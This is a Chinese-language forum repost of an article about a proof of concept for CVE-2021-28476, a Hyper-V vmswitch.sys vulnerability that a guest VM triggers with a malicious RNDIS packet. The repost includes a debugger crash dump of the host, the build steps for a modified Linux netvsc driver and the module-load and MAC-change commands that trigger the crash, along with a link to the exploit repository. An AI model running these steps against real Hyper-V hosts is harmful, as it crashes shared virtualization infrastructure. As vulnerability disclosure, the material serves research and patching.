搜索

[28980] 2021-06-02_“Hyper-V远程执行代码漏洞”CVE-2021-28476“

文档创建者：s7ckTeam
浏览次数：42
最后更新：2025-01-19
2021-06-02_“Hyper-V远程执行代码漏洞”CVE-2021-28476“ “   H y p e r - V 远 程 执 行 代 码 漏 洞 ” C V E - 2 0 2 1 - 2 8 4 7 6   “ O t s 安 全   2 0 2 1 - 0 6 - 0 2 ▼ 更 多 精 彩 推 荐 ， 请 关 注 我 们 ▼ C V E - 2 0 2 1 - 2 8 4 7 6 这 是 C V E - 2 0 2 1 - 2 8 4 7 6 （ “   H y p e r - V 远 程 代 码 执 行 漏 洞 ” ） 的 概 念 验 证 ， C V E - 2 0 2 1 - 2 8 4 7 6 v m s w i t c h . s y s 是 M i c r o s o f t 在 2 0 2 1 年 4 月 修 补 的 任 意 内 存 读 入 （ 网 络 虚 拟 化 服 务 提 供 商 ） 。 该 漏 洞 被 发 现 @ a u s t r a l e o ， @   e r g o t 8 6 ， @ p e l e g h d 和 @ O p h i r H a r p a z 。 它 可 由 访 客 虚 拟 机 通 过 V M B u s （ 这 是 一 种 用 于 分 区 间 通 信 的 基 于 通 道 的 通 信 机 制 ） 发 送 恶 意   R N D I S   数 据 包 触 发 。 这 是 主 机 系 统 崩 溃 在 调 试 器 中 的 样 子 ： * * *   F a t a l   S y s t e m   E r r o r :   0 x 0 0 0 0 0 0 7 e                                               ( 0 x F F F F F F F F C 0 0 0 0 0 0 5 , 0 x F F F F F 8 0 A D 4 A 4 1 A 6 3 , 0 x F F F F B 7 0 D D 7 E B 7 0 2 8 , 0 x F F F F B 7 0 D D 7 E B 6 8 6 0 ) B r e a k   i n s t r u c t i o n   e x c e p t i o n   -   c o d e   8 0 0 0 0 0 0 3   ( f i r s t   c h a n c e ) A   f a t a l   s y s t e m   e r r o r   h a s   o c c u r r e d . D e b u g g e r   e n t e r e d   o n   f i r s t   t r y ;   B u g c h e c k   c a l l b a c k s   h a v e   n o t   b e e n   i n v o k e d . A   f a t a l   s y s t e m   e r r o r   h a s   o c c u r r e d .
该 漏 洞 本 身 发 生 在 V m s I f r I n f o P a r a m s _ O I D _ S W I T C H _ N I C _ R E Q U E S T 一 个 函 数 中 ， 该 函 数 可 以 由 攻 击 者 控 制 的 数 据 调 用 （ 不 应 这 样 做 ） ， 并 且 两 次 取 消 引 用 b o o m - > _ w i n 恶 意 来 宾 虚 拟 机 可 以 提 供 的 指 针 （ 在 下 面 ） 。 如 果 您 对 此 感 兴 趣 ， @   p e l e g h d 和 @ O p h i r H a r p a z 将 在 B l a c k H a t   U S A   2 0 2 1 演 讲 “   h A F L 1 ： 我 们 对 超 V 进 行 模 糊 处 理 并 发 现 0 天 的 旅 程 ” 中 进 行 详 细 讨 论 ， 以 及 发 现 过 程 。 运 行   P o C 运 行   P o C   的 最 简 单 方 法 是 创 建 一 个 运 行 最 新 U b u n t u   F o c a l 的   L i n u x   虚 拟 机 。 完 成 此 操 作 后 ， 克 隆 匹 配 的 内 核 源 ： n t ! D b g B r e a k P o i n t W i t h S t a t u s : f f f f f 8 0 1 ` 3 1 4 1 2 c 5 0   c c                             i n t           3 k d >   . c x r   0 x f f f f b 7 0 d d 7 e b 6 8 6 0 r a x = f f f f f 8 0 a d 4 b c 7 2 1 4   r b x = f f f f f 8 0 a d 4 b f 6 2 a 0   r c x = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 r d x = 0 0 0 0 0 0 0 0 0 4 7 a 2 8 0 7   r s i = f f f f b 7 0 d d 7 e b 7 4 2 0   r d i = f f f f a 5 8 c a a 3 1 8 f 0 0 r i p = f f f f f 8 0 a d 4 a 4 1 a 6 3   r s p = f f f f b 7 0 d d 7 e b 7 2 6 0   r b p = f f f f a 5 8 c a a 3 1 8 f e 0   r 8 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     r 9 = 0 0 0 0 0 0 0 0 0 0 0 0 0 1 3 b   r 1 0 = d e a d b e e f b a a d c 0 b e r 1 1 = f f f f b 7 0 d d 7 e b 7 2 3 0   r 1 2 = f f f f f 8 0 a d 4 b c 7 3 d 0   r 1 3 = 0 0 0 0 0 0 0 0 c 0 0 0 0 0 0 1 r 1 4 = 0 0 0 0 0 0 0 0 0 0 0 0 2 1 f 0   r 1 5 = f f f f f 8 0 a d 4 b c 7 3 6 0 i o p l = 0                   n v   u p   e i   p l   z r   n a   p o   n c c s = 0 0 1 0     s s = 0 0 1 8     d s = 0 0 2 b     e s = 0 0 2 b     f s = 0 0 5 3     g s = 0 0 2 b                           e f l = 0 0 0 5 0 2 4 6 v m s w i t c h ! V m s I f r I n f o P a r a m s _ O I D _ S W I T C H _ N I C _ R E Q U E S T + 0 x f b : f f f f f 8 0 a ` d 4 a 4 1 a 6 3   4 1 8 b 4 a 2 0                 m o v           e c x , d w o r d   p t r   [ r 1 0 + 2 0 h ]   d s : 0 0 2 b : d e a d b e e f ` b a a d c 0 d e = ? ? ? ? ? ? ? ? k d >   k p   #   C h i l d - S P                     R e t A d d r                               C a l l   S i t e 0 0   f f f f b 7 0 d ` d 7 e b 7 2 6 0   f f f f f 8 0 a ` d 4 a 3 e e 4 1           v m s w i t c h ! V m s I f r I n f o P a r a m s _ O I D _ S W I T C H _ N I C _ R E Q U E S T + 0 x f b 0 1   f f f f b 7 0 d ` d 7 e b 7 3 0 0   f f f f f 8 0 a ` d 4 a 3 f c 7 6           v m s w i t c h ! V m s I f r I n f o P a r a m s N d i s O i d R e q u e s t B u f f e r + 0 x 1 4 d 0 2   f f f f b 7 0 d ` d 7 e b 7 3 8 0   f f f f f 8 0 a ` d 4 a 3 c 7 7 9           v m s w i t c h ! R n d i s D e v H o s t H a n d l e S e t M e s s a g e + 0 x 1 9 6 0 3   f f f f b 7 0 d ` d 7 e b 7 4 2 0   f f f f f 8 0 1 ` 3 1 3 6 f 4 2 3           v m s w i t c h ! R n d i s D e v H o s t C o n t r o l M e s s a g e W o r k e r R o u t i n e + 0 x 1 9 9 0 4   f f f f b 7 0 d ` d 7 e b 7 4 c 0   f f f f f 8 0 1 ` 3 1 2 3 a 9 7 5           n t ! I o p P r o c e s s W o r k I t e m + 0 x 9 3 0 5   f f f f b 7 0 d ` d 7 e b 7 5 3 0   f f f f f 8 0 1 ` 3 1 3 2 c e 8 5           n t ! E x p W o r k e r T h r e a d + 0 x 1 0 5 0 6   f f f f b 7 0 d ` d 7 e b 7 5 d 0   f f f f f 8 0 1 ` 3 1 4 1 2 4 0 8           n t ! P s p S y s t e m T h r e a d S t a r t u p + 0 x 5 5 0 7   f f f f b 7 0 d ` d 7 e b 7 6 2 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0           n t ! K i S t a r t S y s t e m T h r e a d + 0 x 2 8 $   u n a m e   - a L i n u x   t o u r d e f o r c e   5 . 4 . 0 - 7 3 - g e n e r i c   # 8 2 - U b u n t u   S M P   W e d   A p r   1 4   1 7 : 3 9 : 4 2   U T C   2 0 2 1   x 8 6 _ 6 4   x 8 6 _ 6 4   x 8 6 _ 6 4   G N U / L i n u x $   g i t   c l o n e   g i t : / / k e r n e l . u b u n t u . c o m / u b u n t u / u b u n t u - f o c a l . g i t $   c d   u b u n t u - f o c a l
更 换 ~ / u b u n t u - f o c a l / d r i v e r s / n e t / h y p e r v / n e t v s c _ d r v . c 用 的 s r c   /   n e t v s c _ d r v . c ， ~ / u b u n t u - f o c a l / d r i v e r s / n e t / h y p e r v / r n d i s _ f i l t e r . c 由 S R C   /   r n d i s _ f i l t e r . c 和 ~ / u b u n t u - f o c a l / d r i v e r s / n e t / h y p e r v / h y p e r v _ n e t . h 由 S R C   /   h y p e r v _ n e t . h （ 可 用 全 D I F F   C V E - 2 0 2 1 - 2 8 4 7 6 . d i f f ） ： 最 后 ， 通 过 加 载 模 块 并 更 改 网 络 接 口 的 以 太 网 地 址 来 触 发 问 题 （ 此 操 作 会 触 发 我 们 在 r n d i s _ f i l t e r . c   /   中 添 加 的 特 定 代 码 路 径 ） ： 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / 0 v e r c l 0 k / C V E - 2 0 2 1 - 2 8 4 7 6 阅 读 原 文 $   c d   u b u n t u - f o c a l $   g i t   c h e c k o u t   U b u n t u - 5 . 4 . 0 - 7 3 . 8 2 $   g i t   b r a n c h   f b l _ v s w i t c h $   g i t   c h e c k o u t   f b l _ v s w i t c h $   s u d o   a p t - g e t   i n s t a l l   g i t   b u i l d - e s s e n t i a l   k e r n e l - p a c k a g e   f a k e r o o t   l i b n c u r s e s 5 - d e v   l i b s s l - d e v   c c a c h e   b i s o n   f l e x   l i b e l f - d e v   d w a r v e s $   c p   / b o o t / c o n f i g - 5 . 4 . 0 - 7 3 - g e n e r i c   . c o n f i g $   m a k e   o l d c o n f i g $   m a k e   m o d u l e s $   m a k e   M = d r i v e r s / n e t / h y p e r v n e t v s c _ s e t _ m a c _ a d d r $   s u d o   r m m o d   h v _ n e t v s c   & &   i n s m o d   d r i v e r s / n e t / h y p e r v / h v _ n e t v s c . k o $   s u d o   i f c o n f i g   e t h 0   h w   e t h e r   0 0 : 1 1 : 2 2 : 3 3 : 4 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理